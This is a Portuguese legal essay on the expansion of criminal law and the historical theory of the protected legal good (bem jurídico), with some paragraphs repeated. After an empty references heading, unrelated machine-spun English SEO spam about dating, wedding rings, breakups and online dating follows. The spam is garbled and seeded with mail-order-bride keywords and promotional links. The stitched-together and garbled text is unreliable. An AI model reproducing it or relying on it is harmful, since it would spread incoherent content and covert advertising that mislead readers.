Uma primeira crítica feita por alguns estudiosos reside na criação de um direito penal simbólico, que tudo tenta proteger, porém quase nada de fato protege. Isso se daria porque as normas estariam atendendo apenas a apelos latentes, refletindo medidas emergenciais que atenderiam a uma necessidade mais urgente, mas não resolveriam os problemas em sua origem.  

Assim, se mostrariam como falsos remédios, que não curariam o mal desde a sua raiz. Um segundo argumento contrário à expansão do direito penal tem como base a ideia de Estado Democrático de Direito, e sua função precípua de limitação do atuar estatal, na medida em que, ao admitir-se o processo expansivo, estar-se-ia conferindo maior poder ao Estado de punir. 

O Direito Penal vê-se, assim, transformado em um instrumento que passa a ser utilizado politicamente para a busca de fins que não lhe são instrumento que passa ser utilizado politicamente para busca de fins que não lhe são próprios em um Estado Democrático de Direito. Quando manejado no sentido de dar respostas eficazes às novas formas de criminalidade, assume caráter meramente simbólico, dado que proporciona resultado político-eleitorais imediatos a partir da criação, no imaginário popular, da impressão tranquilizadora da existência de um legislador atento à realidade social. 

No plano ideal, sugere-se que essa nova geração criminosa fosse combatida através de instituições administrativas. Porém, tais opções se mostram ineficientes, tanto no aspecto repressivo como no preventivo, funções tais que cumpridas pela pena. ainda que se adotassem medidas mais contundentes e favoreceriam ao alastramento da criminalidade. Cumpre frisar até que tamanha ineficiência ocorre pela total desorganização da seara administrativa. 

Realmente, a responsabilidade civil por danos causados não expressa adequadamente a mesma reprovabilidade que a sanção penal. Além disso, em face de sua objetividade, talvez os verdadeiros responsáveis sequer sejam responsabilizados, ou mesmo o sendo, não sofreriam a repreensão adequado para contenção dessas violações.  

Além do fato da Administração Pública sofrer uma infindável burocracia na concreção de medidas penalizadoras. E, por derradeiro, o mais grave impedimento de todos; a incontrolável corrupção que permeia todo o setor público, que dificilmente seria hábil e capaz de punir adequadamente a classe social mais poderosa. 

Diante da nítida tensão entre os discursos de resistência e expansão do Direito Penal, a Escola de Frankfurt com Winfried Hassemer a sua frente, sustentando que o direito penal deveria retornar às suas origens, isto é, à tutela de interesses individuais do homem. 

Advoga que, para tutelar os direitos coletivos, o ideal seria o chamado Direito de Intervenção, se contrapondo ao discurso de expansão, que defende a tese de que o direito penal deve tutelar qualquer bem jurídico coletivo relevante e que esteja sob ameaça latente. 

Como sustentáculo de sua teorização, parte-se de dois pressupostos básicos: restringir a seleção de bens jurídico-penais, aos denominados “clássicos”, bem como respeitar todas as regras de imputação e todos os princípios político-criminais de garantia característicos do Direito Penal da Ilustração 

De fato, o direito penal teve seus limites moldados pelos bens jurídicos individuais e patrimoniais, em decorrência da vulneração sofrida em tempos de um Estado Liberal. E a esse modelo se socorre o discurso de resistência, que tem por objetivo conter a expansão desses bens jurídicos, mantendo os conceitos previamente concebidos.  

A proposta erigida da Escola de Frankfurt seria manter os princípios da intervenção penal mínima e da exclusiva proteção de bens jurídicos, através de um Direito de Intervenção. Num contexto de intervenção penal mínima, após a identificação do bem jurídico penalmente tutelado, o subsequente vetor analítico capaz de nortear o intérprete que é o princípio da lesividade, isto é, ofensividade, consistente, consoante o pensamento clássico, na relevante afetação do interesse protegido. 

Hassemer partiu da constatação de que o Direito Penal que procura minimizar a insegurança oriunda de uma sociedade de riscos e dirigir processos e relações causais complexos substancialmente seus conceitos dogmáticos e, se afasta de sua missão original de apenas assegurar uma escala de valores indispensáveis à vida social e, se torna um instrumento em busca de controle de grandes problemas da sociedade atual, como a proteção do meio ambiente. 

E, dentro deste pensamento, apesar de tentar compreender o processo expansionista, sua proposta , in litteris: “Quando eu falo de “clássico”, eu quero dizer com isso que o objeto indicado se situa na tradição da filosofia política do Iluminismo. “Clássico” no Direito Penal não se esgota, como de costume, em uma determinada época ou em um determinado número de objetos; “clássico” é também um ideal, uma representação de fim pela qual pode ser determinada para onde deve ir uma viagem, quais passos seguem na direção correta e quais seguem na direção errada […]” 

Schünemann concordou com os pressupostos aventados pela corrente reducionista, salientando os riscos de o legislador deixar-se seduzir pela ideia da utilização açodada do Direito Penal como uma espécie de panaceia dos problemas urgentes da modernidade econômica e da tutela ambiental, esquecendo-se, pois, do princípio da última ratio. Apesar de tudo, o autor refuta a possibilidade de não enfrentamento da criminalidade do Século XXI. 

Sublinhe-se que as mesmas críticas são realizadas por outros doutrinadores da Escola de Frankfurt e, noutras palavras, conduziria ao exercício de uma Política Criminal que não corresponde às demandas concretas e realistas de uma sociedade que ousa ou pretende ser organizada como um Estado Social.  

A atuação do Direito Penal demonstraria a priorização daquela tutela jurídica e, ao se priorizar muitos bens jurídicos estar-se-ia, em verdade, despriorizando, ou negligenciando uma efetiva tutela especial àqueles bens jurídicos que realmente a merecem, culminando no que se entende por Direito Penal Simbólico. 

Amparado na doutrina oportuna, ao constatar que, para a proteção de novos interesses surgidos com a modernidade, Hassemer e Silva Sánchez propõem, respectivamente, o Direito de Intervenção e o modelo de Direito Penal dual. 

Numa segunda proposta, o Direito Penal dual seria uma expansão moderada, o que se denomina direito penal de duas velocidades. Sánchez recusa a manutenção do conceito tradicional de direito penal, mas não defende a expansão absoluta da tutela criminal, apontando uma solução intermediária para esse conflito.  

Para tanto, parte de duas premissas: a primeira consiste na modernização do Direito Penal, caracterizada pela expansão e pela flexibilização de princípios político-criminais. A segunda premissa consiste na negação de uma volta ao Direito Penal clássico, que, segundo o Silva Sánchez, nunca existiu. 

Não se pode desconsiderar o fato de que a sociedade moderna possui novos bens da vida, além da vida, saúde, liberdade e patrimônio que não podem ser subjugados, nem mesmo colocados em patamar inferior aos outros direitos, haja vista que sua violação gera danos tão aviltantes quanto os demais.  

Deixá-los sob a égide de direito intervenção seria conferir-lhe proteção inferior aos bens tutelados pelo direito penal. A isso reage uma segunda parcela da doutrina europeia que defende a expansão do direito penal para alcançar esses novos direitos, esses  novos bens jurídicos que passam a integrar o rol de bens essenciais à coexistência social. 

Sublinhe-se que as mesmas críticas são realizadas por outros doutrinadores da Escola de Frankfurt e, noutras palavras, conduziria ao exercício de uma Política Criminal que não corresponde às demandas concretas e realistas de uma sociedade que ousa ou pretende ser organizada como um Estado Social.  

A atuação do Direito Penal demonstraria a priorização daquela tutela jurídica e, ao se priorizar muitos bens jurídicos estar-se-ia, em verdade, despriorizando, ou negligenciando uma efetiva tutela especial àqueles bens jurídicos que realmente a merecem, culminando no que se entende por Direito Penal Simbólico. 

Amparado na doutrina oportuna, ao constatar que, para a proteção de novos interesses surgidos com a modernidade, Hassemer e Silva Sánchez propõem, respectivamente, o Direito de Intervenção e o modelo de Direito Penal dual. 

Numa segunda proposta, o Direito Penal dual seria uma expansão moderada, o que se denomina direito penal de duas velocidades. 

Sánchez recusa a manutenção do conceito tradicional de direito penal, mas não defende a expansão absoluta da tutela criminal, 

apontando uma solução intermediária para esse conflito. Para tanto, parte de duas premissas: a primeira consiste na modernização do Direito Penal, caracterizada pela expansão e pela flexibilização de princípios político-criminais. A segunda premissa consiste na negação de uma volta ao Direito Penal clássico, que, segundo o Silva Sánchez, nunca existiu. 

Inegavelmente o modelo de Direito Penal elaborado para a sociedade do século XIX não consegue  atender aos novos riscos criados e geridos no século XXI e, isso exige uma evolução teórica, de forma que os bens jurídicos relevantes sejam efetivamente tutelados. E, esse mesmo processo deverá ser realizado permanentemente, na mesma velocidade da evolução social. E, em razão dessa lógica, Sánchez, defendendo a sua teoria, afirma a impossibilidade de se voltar ao Direito Penal Liberal. 

O Direito Penal clássico não acompanha os fatores sociais contemporâneos. Há uma notória incompatibilidade axiológica, que deve ser resolvida a partir de novos conceitos, talvez trazidos pelas teorias expansionistas.  

O conceito de bem jurídico é ponto crucial para a caracterização do crime, dentro dos moldes da doutrina contemporânea, o que não torna difícil alcançar o consenso. E, assim, surgem duas vertentes, uma formal, para a qual o bem jurídico seria o que fosse protegido pela norma e, outra material, defendendo ser o bem jurídico um limitador do legislador, de fonte intrínseca ou extrínseca. 

O termo “bem jurídico” não encontra consenso entre os doutrinadores, porém, alguns apontam que o desenvolvimento desse conceito tem a sua origem com o alemão Johann Michael Franz Birnbaum, para quem o conceito visava abranger conjunto de valores de conteúdo liberal que fosse apto a basear a punibilidade de comportamentos que o ofendessem. 

Desde então, apresentou-se como instrumento limitador do ius puniendi estatal, sendo obstáculo de enfrentamento obrigatório pelo legislador que decidisse criminalizar determinada conduta, impondo requisitos que deveriam ser atendidos para tanto. Inicialmente, o conceito de bem jurídico abrigava somente os direitos de cunho individual, entendidos como essenciais para as pessoas em convivência na sociedade. Tal conceito, portanto, prestigia os valores mais aviltados, satisfazendo os anseios sociais. 

Em priscas eras, a noção de ilícito penal era umbilicalmente atrelada à teologia e, à ideia de pecado, não havendo distinção entre os mandamentos de Deus e os mandamentos do homem. Assim, o crime antes era visto como atentado contra a divindade e a pena de eliminação ou expulsão dos agressores da associação cultural. 

Desde então, a partir de fatores externos modificativos, tal conceito foi evoluindo, alcançando diferentes significados ao longo do tempo. O principal destes foi, indubitavelmente, o movimento iluminista que concretizou uma revolução completa, em todos os âmbitos sociais, tanto nas ideias quanto na cultura da sociedade como um todo, atingindo inclusive os filósofos do direito. 

Surge, então, um movimento tendente a favorecer ou garantir bens individuais diante da arbitrariedade judicial e da gravidade das penas, em base social. Afinal, tal legado do Iluminismo, firmado no século XIX, impede a adoção de modelos de Estado autoritários e permite afirmar a legitimidade do direito penal no Estado Democrático de Direito. 

A respeito da herança iluminista, Feuerbach afasta por completo o direito penal teocrático e tem como prisma a noção de Estado considerado como ente criado para gerenciar o bem-estar social e proteger a liberdade e os direitos dos cidadãos. 

O núcleo material e central do delito surge, portanto, a partir da lesão de direitos subjetivos. 

Esse é o posicionamento de Johann A. Ritter von Feuerbach, que, voltando-se, contra os conceitos teológicos característicos do absolutismo, passou a considerar o delito não mais como pecado, lesivo portanto, a Deus, também representado pelo monarca, mas sim, como atentado ao grupo social, e a pena, não como expiação e, sim como retribuição. 

O direito penal deste período se expressou pelo conceito rompante firmado por Feuerbach, a partir do qual a tutela penal deveria se inspirar nos direitos subjetivos essenciais à sociedade. Era redirecionar a ótica penal para o homem, e entendê-lo como sujeito de direitos, e titulares das normas penais, contrariando o teocentrismo que até então manipulava as decisões políticas. 

A contribuição de Feuerbach para a formação de uma concepção material de delito foi indispensável para que se consolidasse uma posição contratualista no âmbito penal, e se colocasse os direitos individuais subjetivos no centro de toda proteção penal, como a razão de ser de um ordenamento jurídico. 

Por Feuerbach, a doutrina aponta Johann Michael Franz Birnbaum como seu precursor, reconhecendo este como idealizador do termo bem jurídico, conforme já explicitado acima. Responsável por introduzir tal conceito no contexto jurídico-penal, Birnbaum substitui a ideia de direito subjetivo como fundamento à tutela penal, e aponta em seu lugar um bem extraído da realidade, consubstanciando-se em um objeto material do tipo penal.  

Para o doutrinador, o delito seria uma lesão ao direito subjetivo, subordinado à preservação da liberdade individual. Daí, o delito seria uma lesão a um bem jurídico, devidamente tutelado pelo Estado. Birnbaum estabeleceu conceito de bem jurídico que limita a tutela penal a bens de existência reais, ou seja, objetos materiais, necessários para as pessoas ou para a coletividade. 

A tese de Birnbaum diferencia-se da tese do direito subjetivo trazida por Feuerbach em três pontos: na configuração do conceito de bem comum, na ampliação do fim do Estado e na renúncia em extrair a doutrina do objeto de delito dos postulados das condições de vida em sociedade, como haviam feito o Iluminismo e o liberalismo originário. 

Contudo, Juarez Tavares expõe que a verdadeira intenção almejada por Birnbaum com o conceito de bem jurídico era promover uma adequação entre a teoria do delito e as normas de Direito Penal vigentes à época, que conflitavam com a noção de direito subjetivo. 

Com a ascensão do positivismo jurídico, surgem novas direções metodológicas no âmbito do direito penal, sobretudo com Binding, que não guardou nenhum apego ao pensamento Iluminista. Para este, o delito consistia numa lesão a um direito subjetivo do Estado, onde a norma era a única fonte do bem jurídico. Kaufmann corrobora este pensamento asseverando que “toda agressão aos direitos subjetivos se produz mediante uma agressão aos bens jurídicos e é inconcebível sem estes”. 

Assim, o bem jurídico passou a ser concebido como tudo aquilo que o legislador considerou relevante para a ordem jurídica e assim inseriu no ordenamento penal, e sem o qual não se configura o delito. Mesmo que o objeto da norma não seja um direito, mas aos olhos do legislador o pareça ser, e desde que este o mantenha incólume e livre de perturbações, assegurando-lhe status normativo, será então transformado em um bem jurídico. 

Dentro do contexto positivista, elaborando a dimensão material do conceito de injusto penal e bem jurídico, os estudos de Franz von Liszt contrariam a proposta de Binding, concluindo que a norma não cria o bem jurídico, mas sim o encontra. Não haveria, portanto, tal exclusividade do legislador, pois o interesse transformado em bem jurídico já existia na sociedade.  

O bem jurídico, ponto central da estrutura do delito, seria primeiramente uma realidade social em si mesmo, independente da valoração do legislador. Com efeito, “o ordenamento jurídico não cria o interesse, cria-o vida, mas a proteção do direito eleva o interesse vital a bem jurídico”. 

Com isso, ele reaviva a noção delimitadora de bem jurídico, imputando-lhe uma preexistência que, justamente, o configura como fonte de legitimidade da atividade legiferante que apenas o reconhece. 

A crítica feita ao modelo elaborado por Liszt é que ter-se um conceito de lesão prévio ao direito não seria suficientemente preciso para delimitar uma conduta humana a ponto de elevá-la ao patamar criminoso, por ter um conteúdo material insatisfatório, vago, sem parâmetros ou critérios. 

Já no século XX surge o pensamento neokantista do bem jurídico, formulado a partir de uma releitura, sob nova ótica social, da obra de Immanuel Kant. O grande traço distintivo dos conceitos retro citados é a substituição de um conceito material para um conceito valorativo, fundado em um hipotético valor cultural, expresso no conteúdo normativo. 

Na lição de Prado: “Essa doutrina – referida a valores e fins – fundamenta o conceito de ciência do espírito no método e não no objeto, como o historicismo, dando lugar a uma filosofia axiológica. O neokantismo engendra duas escolas: a Escola de Marburgo (Cohen, Notarp, Stammler) e a Escola Subocidental alemã ou de Baden (Windelband, Rickert, Lask, Radbruch)”. 

O bem jurídico passa a ser tratado como um modelo interpretativista, a ratio legis no tipo, abandonando a ideia de núcleo material, e perdendo a sua função garantista. 

O neokantismo preservou o critério objetivo-subjetivo do positivismo, ou seja, a culpabilidade deveria necessariamente ser aliada ao tipo penal objetivamente previsto, para que se pudesse configurar o delito. E, por esta razão, não houve uma negação por completo das teses positivistas, mas sim uma complementação. “Em síntese: para tal concepção, bem jurídico vem a ser um valor, abstrato, de cunho ético-social, tutelado pelo tipo penal: valor ideal da ordem social juridicamente protegido. 

A evolução da teoria do bem jurídico encontrou alguma resistência, sobretudo em 1935, com o advento da Escola ou Tendência de Kiel (KielerSchule), de cunho negativista. 

Representada principalmente pelas ideias de F. Schaffstein e G. Dahm, sucedeu às ideias de Honig, na busca de uma base teoria para o Direito Penal do nacional-socialismo. 

Em defesa do Direito Penal da vontade ou Direito Penal do Autor, o bem jurídico foi reapresentado como conteúdo material do injusto, que passa a ser a lesão a um dever, deixando de lado o indivíduo. Mais uma vez o bem jurídico perde seu caráter garantista, ficando da lesão nas mãos do Estado, deixando de existir um limite pré-jurídico. 

Com o fim da Segunda Guerra Mundial, ganhou relevo a Teoria Finalista, buscando superar o positivismo (o que não foi feito pelas teses neokantistas), defendendo que o Direito Penal deve coibir aquilo que for intencional, transferindo para a conduta os aspectos objetivos e subjetivos (dolo e culpa).  

Nesse momento, o bem jurídico se vincula a valores ético-sociais, para além do Direito e do Estado, priorizando o que fosse essencial à coletividade, em detrimento dos bens individuais.  

Apesar de trabalhar com o dolo e a finalidade inseridos no tipo, tem seu fundamento de validade na dignidade da pessoa humana como princípio de justiça. 

O perpassar evolutivo da noção de bem jurídico segue rumo às concepções modernas, principalmente as sociológicas, que se dividem em funcionalistas sistêmicas e interacionistas simbólicas. Dentre seus defensores podem ser mencionados K. Amelung, G. Jakobs, H. Otto, J. Habermas, W. Hassemer, R. P. Calliess, Mir Puig, Gomez Benitez, entre outros. 

De uma forma geral, as teorias sociológicas pregam que o delito é uma conduta socialmente danosa, de forma que a intervenção penal estatal deveria atingir a função social do Direito Penal. Utilizam-se de argumentos sistêmicos ou de densidade social. Contudo, deveria ser respeitado o Princípio da Fragmentariedade, ou seja, o Direito Penal seria chamado a garantir os direitos sociais sempre que outros ramos do Direito não fossem suficientes. 

Amelung entende, entre vários teóricos, que “o conceito de bem jurídico está no centro da teoria sistêmica, substituindo-o pela nomenclatura “densidade social, sendo que o delito é o que causa danos à sociedade.” 

O movimento sociológico, originado com a obra de Durkheim , defende que o delito surge como uma “disfuncionalidade”. Ou seja, a sociedade é compreendida como um sistema global, formada por normas de interação vinculadas aos fatores sociais. A partir dessa ideia, qualquer ato contrário a esse mecanismo seria considerado uma disfunção.  

Então, o Direito é tido como um subsistema do sistema social geral, que visa a proteger o seu correto funcionamento, e o delito vem como um comportamento disfuncional, quer dizer, um obstáculo ao funcionamento do sistema social. 

A crítica direcionada a esses pensadores é que o conceito por eles formulado não alcançaria as especificidades do Direito Penal. Nas palavras de Norberto Bobbio: 

A análise estrutural, atenta às modificações da estrutura, e a análise funcional, atenta às modificações da função, devem ser continuamente alimentadas e proceder paralelamente, sem que a primeira, como ocorreu no passado, eclipse a segunda, 

nem está, como poderia ocorrer em uma inversão total das perspectivas a que tão especialmente favoráveis são as vogas, as modas, o gosto do novo pelo novo, eclipse a primeira. 

Por conseguinte, as teorias constitucionais buscam o conceito de bem jurídico a partir dos mandamentos da Constituição, buscando nela os bens jurídicos que devem ser tutelados, e os critérios capazes de limitar o legislador ordinário no momento de criar o ilícito penal. 

Elas dividem-se entre as teorias de caráter geral e de fundamento constitucional estrito, diferenciando-se somente quanto à maneira de vinculação à norma constitucional. 

Assim, a existência humana em comum exigiria que uma série de condições fundamentais fossem obedecidas por todos, pois caso houvesse algum conflito um bem essencial estaria ameaçado. De igual modo, Rudolphi compartilha da ideia de que os valores fundamentais devem ter referência constitucional.  

Adverte ele que o Estado de Direito não se forma apenas pela legalidade, devendo buscar sua legitimação na ideia de justiça material. O bem jurídico seria uma valiosa unidade de função social, parâmetro basilar da norma constitucional. 

Já a segunda ramificação das teorias constitucionais do bem jurídico é representada por F. Bricola, J. J. Gonzalez Rus e Escrivá Gregori. Estes doutrinadores orientam-se pelas prescrições.  

Todo arcabouço histórico e doutrinário trazidos que o direito penal deve manter a sua teorização inicial na tutela dos bens jurídicos individuais. Entretanto, para se alcançar a criminalidade organizada pelas classes mais altas da sociedade, novas teorias devem ser aplicadas, sob pena de se ter delitos infinitamente mais lesivos à sociedade à margem de qualquer penalidade do Estado.  

 

Conclusão 

São justamente os bens jurídicos coletivos que são alvos de ataques constantes das altas classes sociais que, munidas de técnicas, teorias, mecanismos de alta tecnologia e extrema organização interna, apostam na impunidade justamente por terem as teorias do bem jurídico se debruçado enfaticamente nos direitos individuais. E são justamente esses delitos que têm causado maior dano e perplexidade na sociedade contemporânea, que exige uma tutela eficaz. 

Tais violações ocorrem no âmbito do Direito Econômico, Direito Político, Direito Ambiental, dentre outras esferas que formam as áreas de maior relevância em termos de direitos e garantias mundiais. E cada delito praticado nessas searas atingem uma coletividade indeterminada, e por essa razão merecem o maior rigor do direito penal. 

Com a evolução da sociedade, como natural e inerente efeito ao processo de globalização mundial, quando novas atividades dão origem aos novos riscos que não podem ficar à margem do Direito. Este é o reflexo dos fatos sociais que circundam a sociedade como um todo, devendo proteger o bem da vida que esteja sob ameaça de lesão. 

No entanto, o busilis enfrentado pelo Direito Penal é ser regido por princípios como a ultima ratio e a fragmentariedade, sobre bens jurídicos supraindividuais, o que causa enorme celeuma doutrinária. 

Vige assim sutil liame existente entre a tutela penal de bens jurídicos supraindividuais, que, reflete, uma tutela eficiente e correspondente às necessidades humanas e um terrena, onda de leis, normas e princípios, resultando na administrativização do Direito Penal. 

Busca-se encontrar um caminho do meio, aquele que vai direcionar a sociedade por caminhos seguros de desenvolvimento, mas ao mesmo tempo, respeitar a ideia de Direito Penal Mínimo cujo denominador comum é vocação restritiva do Direito Penal. 

 

Referências 

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Latin Relationship Goals For 2021

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Whether it is Desfiladero Rican rapper Anuel SOCIAL MEDIA PACKAGE and Colombian singer Karol G or Maluma great girlfriend Natalia Barulich, Latina celebrity couples have been supplying all of us with significant relationship desired goals this 2021. Their latin mail order bride affection and genuine shows of love on social networking have been inspiring.

A common trait in Latina culture is being very family-oriented. Various Latino ladies are very near to their families and benefit their organization. They also have full responsibility for their lives and are at all times seeking new journeys. They usually have got a free spirit that can outshine some other ladies, however they should apply reasonable limitations to this flexibility as well.

As a result, when ever working together with a Latin woman, it is best to generate attainable romantic relationship goals for your partner. Talking about your outlook with your seeing partner for a local Latina chat range number can help you the two understand every other’s needs and wants and definitely will make accomplishing your goals much more manageable.

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An additional key element in a healthy relationship has been https://www.mckinsey.com/featured-insights/diversity-and-inclusion/ten-things-to-know-about-gender-equality competent to forgive the other. This may be difficult, however it is known as a vital stage towards peacefulness within your relationship. It is a great idea to include forgiveness among your Latin relationship desired goals this year. This may also help you both make your communication with each other and avoid misunderstandings and issues. Lastly, do not forget to put every other’s mental health like a priority this year. This is especially significant given the way in which tough 2020 was for so many people.

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Which usually Finger Will do a Wedding Ring Proceed?

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Once the significant other jumps the question, your first inclination may be to slide an engagement ring on the fourth little finger of your left. This is generally referred to as the “ring finger, ” and it could be often used being a spot for stacking wedding rings (both an engagement ring and a wedding band). While wearing your involvement and wedding rings within the ring finger is a common custom, there are some exactly who wonder whether or not this is actually essential by any social grace.

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The answer to this is the fact it is not. Yet , some nationalities mail order brides estonian have a different control when it comes to marriage wedding rings and which usually hand that they use them on. For example , in many Asian cultures and some Orthodox or Catholic Countries in europe (including Denmark, Norway, Biskupiec, poland, Italy, Spain), the wedding band is donned on the proper hand. Similarly, in some nationalities in India, the left is considered unclean, so it is customary for Indian brides put on their wedding rings to the right hands until the actual matrimony ceremony.

Irrespective of these differences, most Traditional western cultures nonetheless associate the ring ring finger with romance and love, making it an ideal location for engagement and wedding bands. Historical past behind this tradition goes back to the ancient Romans, exactly who believed that the wedding ring finger had a vein that ran straight to the center (the Latin name because of this vein is normally Vena Amoris). Therefore , by simply placing their particular rings in this particular specific ring finger, couples can be symbolically attaching all their hearts with each other.

Yet , biology now tells us that every fingers experience vein relationships for the heart, thus there’s simply no ought to feel like you have to follow the good old tradition. Actually some people wish to wear their particular rings on other fingers — especially if it’s more comfortable for them or perhaps if they simply do not like the appearance of their arena on the hoop finger.

Once you’ve decided where to place the rings, is considered time to get the perfect gown to your special day. There are some factors to consider when picking out the perfect wedding party dress, including the cloth and color of the gown along with any adornment you might want to add.

In addition to choosing the perfect fabric and color, you will also want to guarantee that big event dress will fit properly. If you’re not sure of the size, try wrap a piece of chain around the finger, tagging where ends meet then measuring this with a leader. Alternatively, you can visit a jeweller’s and employ https://www.zoosk.com/date-mix/love-advice/how-soon-is-too-soon-to-propose/ a ring sizer. You can also find a number of equipment online that will help determine your wedding band size at home without having to go to a jewellers.

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Easiest way to Overcome a Break Up

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If you’re wanting to know about the ultimate way to get over a break up, really crucial to remember that these types of intense thoughts begin to go down a little bit every day. And that many millions of others have gone through exactly what most likely going through now. Ultimately, the easiest method to get over a smashed heart is to just keep moving forward. Meaning getting out of the house, spending time with all your friends and family, seeking new actions, and ensuring you’re sleeping well.

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You’ll probably move through several phases of tremendous grief after a breakup, and it’s usual to take a to mourn the loss of the relationship. These types of stages may include denial, bargaining, anger, melancholy, and likability. Denial is a common first level of grief, during which you may not assume that the separation is realistic and still talk about your ex as if these people were still in your life. The denial level usually simply lasts a few is russian brides real days and nights, but it makes it harder to be able to on.

Anger is another typical stage of sadness after a separation, and you may become tempted at fault your ex for their actions or even hope that they had been dead. It is critical to remember that the main reason you’re feeling furious is because you experience harm and betrayed. It’s also an indication that you don’t have moved on, so it is important to carry out some self-care during this time period. This could incorporate taking a bathroom, eating healthy and balanced meals, and doing a bit of cleaning. During this period, it’s also a smart idea to limit the exposure to simple guidelines of your former mate, like taking away their picture from the storage or reducing them out of your social networking.

It’s common to become jealous after having a breakup, and you will probably wonder whether your ex is to use someone else or perhaps if they are internet dating someone new. It is important to not forget that they are probably happier with the new partner than you are with them, and so looking to take away the happiness just isn’t the right activity. This can become a good time to put some restrictions and ask your mates not to mention he or she to you, seeing that this will help you move on.

It’s also fun to spend several quality time using your friends, so, who you may have neglected while in your relationship. You can attempt out fresh restaurants, pick up old hobbies and interests you put at the back burner while internet dating, or commence making regular day nights using your pals. It can difficult to focus on him or her when you’re getting together with your buddies.

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Astrology and Online Dating

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Astrology will be a major industry https://open.spotify.com/album/5CcZAH9r3tYfNqkcQK4UPe and there are countless ways to practice it. People use it in relationships, for girl colombia work, to understand the friends and themselves and, of course , when dating online. one particular

Various dating software allow you to type your birthday when creating a profile, so it’s obvious if you have similar sign since someone else. But some people go even further and add their particular sun, celestial satellite and increasing signs in their profile points. These are the greater revealing areas of one’s personality that are the majority of affected by the positions belonging to the planets and stars for the duration of birth, which can explain selected behavior patterns, like their ought to be in control.

Putting your sun, celestial satellite and rising register your internet dating account could be great for some people, especially if you’re a very good believer in astrology. It shows that you are fluent in the language and know how to interpret the own information, which is a good thing to have. a couple of

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It can possibly help to meet you with other people who reveal the same passions. Apps such as Tastebuds with respect to music, Sound off for doggie lovers, and Struck and Starcrossed designed for those who are interested in astrology provide users with the possibility to find matches based on shared passions. This is particularly useful for individuals who might be feeling burnt away by the work of a traditional online dating scene or those who look like they may be constantly hitting dead ends with their contacts.

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Examine Online Dating Websites Reviews Prior to You Join

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Online dating websites and applications have made it much easier than ever to scroll by using a pool of potential matches, trying to find Mr. https://www.globaltax.info/cookware-dating-success-story/ or Mrs. Right. But once you’re not cautious, you could finish up wasting your time with people who not necessarily a good meet for you. That may be so why it’s important to go through reviews before you make a decision about which dating internet site or iphone app to use. Reviews should be honest and accurate, so you can get an idea of what it can like to time frame on the site prior to you become a member of.

When my friend initiated her search for a new spouse, she become a member of one of the most significant dating sites out there. It was cost-free and assured 1000s of potential matches. However , when she started to browse profiles, she uncovered that many of them were unscreened and sent her dozens of communications daily. Ultimately, she became overwhelmed and decided to terminate her membership. Your lover didn’t have the time to package with all of that noises. Unfortunately, her experience is normally not one of a kind: Consumer Reports’ latest review of online-dating sites produced the lowest pleasure results the mag has ever recorded for the purpose of services rendered.

A reputable dating web page or application should concentration on helping you find people who talk about your hobbies and worth. It should be safe also, secure and easy to work with. Unfortunately, some sites own a reputation for being filled up with oily chancers, repulsive-looking toads, stalkers and aggressive hitched or attached men masquerading as true romance. Others are full of artificial profiles, therefore it is vital to how to identify an absolute person from a artificial or illegitimate profile.

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The most popular internet dating sites cater to array of interests and demographics. Such as https://mail-orderbrides.info/dating/latamdate-website/ niche sites for lesbian porn and gay finding love, as well as traditional sites like OKCupid and Match. A few sites, such as eHarmony, have a certain https://www.bostonherald.com/2022/01/02/make-2022-your-best-dating-year-yet-with-these-7-tips/ focus on finding a long term relationship, while some, such as Hinge and Bumble, focus on more informal dates.

It’s also important to consider the total expense of a dating website or app before you join. Most internet dating sites offer a trial offer period, but some might charge a yearly, monthly or perhaps quarterly cost to use their very own service plan.

A lot of online dating sites have additional features, just like video talk or perhaps instant messaging. Place help you decide if anybody you’re interested in is actually worth your time and energy. You should also take a look at whether the site offers a money-back guarantee. If you’re seriously interested in finding a new partner, is actually worth purchasing a site or perhaps app which can save you coming from wasting time and heartache. Just be sure to see the terms and conditions carefully just before you join a site or perhaps app. After that, you’ll be prepared to start your new excursion with confidence. Best of luck!

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Flirting Tips For Shy People

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Flirting can be a little intimidating for some people, particularly shy people. The good news is that at this time there are some ways to help a self conscious person feel more at ease when flirting and increase their chances of finding a date or a relationship.

Shy persons free filipino dating sites are certainly more sensitive towards the nonverbal tips of flirting, so is important to be subtle once flirting which has a shy person. This means sitting near them, smiling often , and responding favorably to what there is a saying. It’s also important not to ever be also eager – this can come across as anxious and will most likely make the shy person uneasy.

Fun is a strong application that can help in order to straight down barriers among people, thus try informing jokes or perhaps start fooling around which has a shy person. This may make them feel even more at ease and open up for you.

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If the conversation becomes to a subject matter about them, focus on something positive they are doing or maybe a feature of their appearance that you want. For example , you might tell them that they have delightful eyes or perhaps that they are wearing a nice tshirt. You could actually give them a nickname that may be easy going but complimentary.

Shy people can be very self-conscious, so it’s a wise course of action to approach all of them when they are upon it’s own versus https://www.businessinsider.com/likelihood-of-getting-a-response-in-online-dating-men-vs-women-2013-7 with good friends or family members. This will prevent them coming from feeling overcome and flustered, that might make that more difficult for them to reply to your flirting.

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